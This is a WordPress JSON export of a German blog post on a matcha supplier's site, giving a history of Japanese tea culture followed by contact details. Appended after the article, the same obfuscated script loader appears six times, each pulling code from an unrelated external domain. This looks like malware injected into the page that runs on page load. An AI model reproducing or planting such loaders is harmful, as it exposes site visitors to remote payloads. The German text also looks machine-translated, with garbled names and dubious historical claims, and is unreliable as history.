{"id":7881,"date":"2024-08-19T17:30:02","date_gmt":"2024-08-19T09:30:02","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7881"},"modified":"2025-02-06T09:32:01","modified_gmt":"2025-02-06T01:32:01","slug":"the-way-of-matcha","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/de\/der-weg-des-matcha\/","title":{"rendered":"Der Weg des Matcha"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-ccc3911\" data-block-id=\"ccc3911\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4042\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg\" width=\"789\" height=\"449\" alt=\"Kennen Sie die zehn wichtigsten Vorteile von Matcha-Tee?\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg 789w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-300x171.jpg 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-768x437.jpg 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-600x341.jpg 600w\" sizes=\"(max-width: 789px) 100vw, 789px\" \/><\/figure><\/div>\n\n\n\n<p>Die Beziehung zwischen&nbsp;<a href=\"https:\/\/www.backvita.com\/de\/produkt\/matcha-tea-powder\/\">Matcha<\/a>&nbsp;und Japan, wie Uhren zur Schweiz, Parf\u00fcm zu Frankreich, zwar nicht \"eng\", aber immer eng verbunden.<\/p>\n\n\n\n<p>Heute ist japanischer Matcha l\u00e4ngst zum wichtigsten Symbol und Tr\u00e4ger der japanischen Teekultur geworden und wird von immer mehr Verbrauchern gesch\u00e4tzt und anerkannt.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Weitergeben<\/h2>\n\n\n\n<p>Im Volksmund hei\u00dft es,&nbsp;<a href=\"https:\/\/www.backvita.com\/de\/produkt\/matcha-tea-powder\/\">Matcha<\/a>&nbsp;ist ein pulverf\u00f6rmiges Teeprodukt, das nach einer speziellen Verarbeitung aus Teebl\u00e4ttern entsteht. Dies ist auch der Grund, warum Matcha in den fr\u00fchen Jahren in der chinesischen Schrift als \"letzter Tee\" geschrieben wurde, wobei \"letzter\" \"Pulver\" und \"gebrochenes Pulver\" bedeutet.<\/p>\n\n\n\n<p>Der Aufstieg des Teetrinkens in Japan ist nicht ohne Schwierigkeiten verlaufen.<\/p>\n\n\n\n<p>Japanischen historischen Aufzeichnungen zufolge brachte der japanische M\u00f6nch Yuki bereits in der Nara-Zeit chinesische Teeb\u00e4ume mit nach Japan. Aber der Teeanbau setzte sich zu dieser Zeit nicht wirklich durch.<\/p>\n\n\n\n<p>In der Nara- und Heian-Zeit hatte die japanische Teekultur noch keine eigenen Merkmale entwickelt, sondern war nur eine vorl\u00e4ufige Studie und Kopie der chinesischen Teekultur. Bei den Adligen, M\u00f6nchen und der Oberschicht der Riwiting-Dynastie \u00e4hnelt der Teeanbau, die Teezubereitung und das Teetrinken in jeder Phase der Tang-Dynastie, und der Geschmack der Nachahmung ist sehr stark.<\/p>\n\n\n\n<p>W\u00e4hrend der Kamakura-Periode begann die japanische Teekultur, sich mit der lokalen Religion, Philosophie, \u00c4sthetik usw. zu verbinden und einen japanischen Stil namens \"Teesuppe\" zu entwickeln. Auch die Verwendung von Matcha-Tee ist zu einem wichtigen Bestandteil der japanischen Teekultur geworden.<\/p>\n\n\n\n<p>Interessanterweise begann sich in der Muromachi-\u00c4ra der Stil des Teetrinkens in Japan zu \u00e4ndern. Zu dieser Zeit war China in die Ming-Dynastie eingetreten, aber Japan, jenseits des Meeres, sehnte sich pl\u00f6tzlich nach der Teekunst der chinesischen Song-Dynastie und ahmte den Wind des \"Kampftees\" in der Song-Dynastie nach und formte seine eigene \"Kampfteekunst\".<\/p>\n\n\n\n<p>In der fr\u00fchen Muromachi-Periode wurde der luxuri\u00f6se \"Teekampf\" zum Mainstream. Im Gegensatz zum eleganten \"Teekampf\" der Song-Dynastie bestand der Zweck des \"Teekampfes\" der japanischen Samurai-Klasse darin, soziale Kontakte zu pflegen, Reichtum zur Schau zu stellen und nat\u00fcrlich zu essen und zu trinken. Es mag daran liegen, dass der \"Kampftee\" nicht wirklich elegant ist, dass der luxuri\u00f6se \"Kampftee\" aufbl\u00fchte und wieder verschwand, und dass die Teekultur der Dongshan-Akademie zu wachsen begann.<\/p>\n\n\n\n<p>Die Higashiyama-Kultur, die in der Mitte der Muromachi-Periode sehr popul\u00e4r war, hat eine starke buchhafte Atmosph\u00e4re. Zu dieser Zeit verband die Tee-Akademie unter der Leitung des Zen-Meisters Murata die fremde chinesische Kultur mit der japanischen, wodurch die \"Teesuppe\" technischer wurde und auch die japanische Teezeremonie Gestalt annahm. Aus diesem Grund nimmt die Higashiyama-Periode oder Higashiyama-Kultur eine sehr wichtige Stellung in der Geschichte der japanischen Teezeremonie ein.<\/p>\n\n\n\n<p>Nach der fr\u00fchen Nara- und Heian-Epoche, der mittleren Kamakura- und Muromachi-Epoche, der sp\u00e4ten Edo-Epoche und der modernen \u00c4ra ist die japanische Teekultur schlie\u00dflich gereift.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Zufahrtsstra\u00dfe<\/strong><\/h3>\n\n\n\n<p>Im Zuge der Lokalisierung der Teekultur und des Auftauchens verschiedener Meister sind die Merkmale der japanischen Teezeremonie fein, exquisit und wunderbar geworden.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Verbesserung der Qualit\u00e4t<\/strong><\/h3>\n\n\n\n<p>W\u00e4hrend der Muromachi-\u00c4ra erfanden die Teebauern von Uji speziell f\u00fcr die \u00f6rtlichen Boden- und Klimaverh\u00e4ltnisse die \"Mulch-Anbaumethode\", d. h. die Teeb\u00e4ume werden vor der Ernte \"abgedeckt\", um den Matcha gr\u00fcner und s\u00fc\u00dfer zu machen, und auch der Matcha aus Uji ist ber\u00fchmt.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Verbessern Sie den Prozess<\/strong><\/h3>\n\n\n\n<p>F\u00fcr die Japaner jener Zeit war Tee eher ein Handwerk als ein Getr\u00e4nk. Das spiegelt sich auch im Prozess der Teezubereitung wider, der aus strengen Schritten und ausgefeilten Verfahren besteht. Von der Beschattung vor dem Pfl\u00fccken, dem Dampfabt\u00f6ten nach dem Pfl\u00fccken, dem Backen im Ofen bis hin zum Schneiden und Zerkleinern sind mehr als ein Dutzend Prozesse exquisit, und selbst die Steinm\u00fchle, die f\u00fcr die Feinmahlung verwendet wird, ist das Streben nach Nat\u00fcrlichkeit.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Reformtee-Stil<\/strong><\/h3>\n\n\n\n<p>In der Teekultur der Dongshan-Akademie ist der K\u00fcnstler Neng Ami ein wichtiger Vertreter. Er wurde als Krieger geboren und ist in der Schriftstellerei, der Malerei und der Teekultur sehr bewandert. Unter seiner Schirmherrschaft fegte die japanische Teeparty den extravaganten und l\u00e4rmenden Wind weg und begann, einen neuen Teestil der \"Akademiedekoration\" und \"Tischdekoration\" zu formen.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Gestaltung einer Teezeremonie<\/strong><\/h3>\n\n\n\n<p>Auf Nois Empfehlung hin wurde Murata in seinen sp\u00e4teren Jahren Teezeremonie-Lehrer des Shoguns Yoshimasa Ashikaga. Nachdem er die Teekultur der Dongshan-Akademie voll und ganz verstanden hatte und mit einer gro\u00dfen Anzahl von Kultur- und Kunstsch\u00e4tzen in Ber\u00fchrung gekommen war, die der General gesammelt hatte, machte Murata Pearls Teezeremoniegedanke einen weiteren Sprung. Er kombinierte den \"Soan-Tee\" der Nara Ryu aus der einfachen Klasse mit dem \"Akademie-Tee\" aus der edlen Klasse und vollzog damit einen wichtigen Schritt von der Teekultur zur Teezeremonie. Murata Pearl wird auch als \"der Urvater der japanischen Teezeremonie\" bezeichnet.<\/p>\n\n\n\n<p>Zu diesem Zeitpunkt waren die drei f\u00fcr die Entstehung der Teezeremonie notwendigen Schritte - der Volkstee, die Verbindung von Tee und Zen sowie die Integration von edlem Tee und Volkstee - abgeschlossen. Nachdem sie jahrelang den chinesischen Brauch des Teetrinkens akzeptiert hatten, entwickelten die Japaner schlie\u00dflich ihre eigene Teezeremonie.<\/p>\n\n\n\n<p>Matcha-Lieferant: www.backvita.com<br>E-Mail: info@backvita.com<br>Telefon: +86 (029) 8187 2325<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>The relationship between&nbsp;matcha&nbsp;and Japan, like watches to Switzerland, perfume to France, although not \u201ctight\u201d, but always closely linked. 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Today\u2019s Japanese matcha has long become the most important symbol and carrier of Japanese tea drinking culture, and is loved and recognized by more and more consumers. Pass on In popular terms,&nbsp;matcha&nbsp;is a powdered tea product formed from tea leaves after special processing. This is also the reason why matcha was written as \u201clast tea\u201d in the Chinese script in the early years, where \u201clast\u201d means \u201cpowder\u201d and \u201cbroken powder\u201d. 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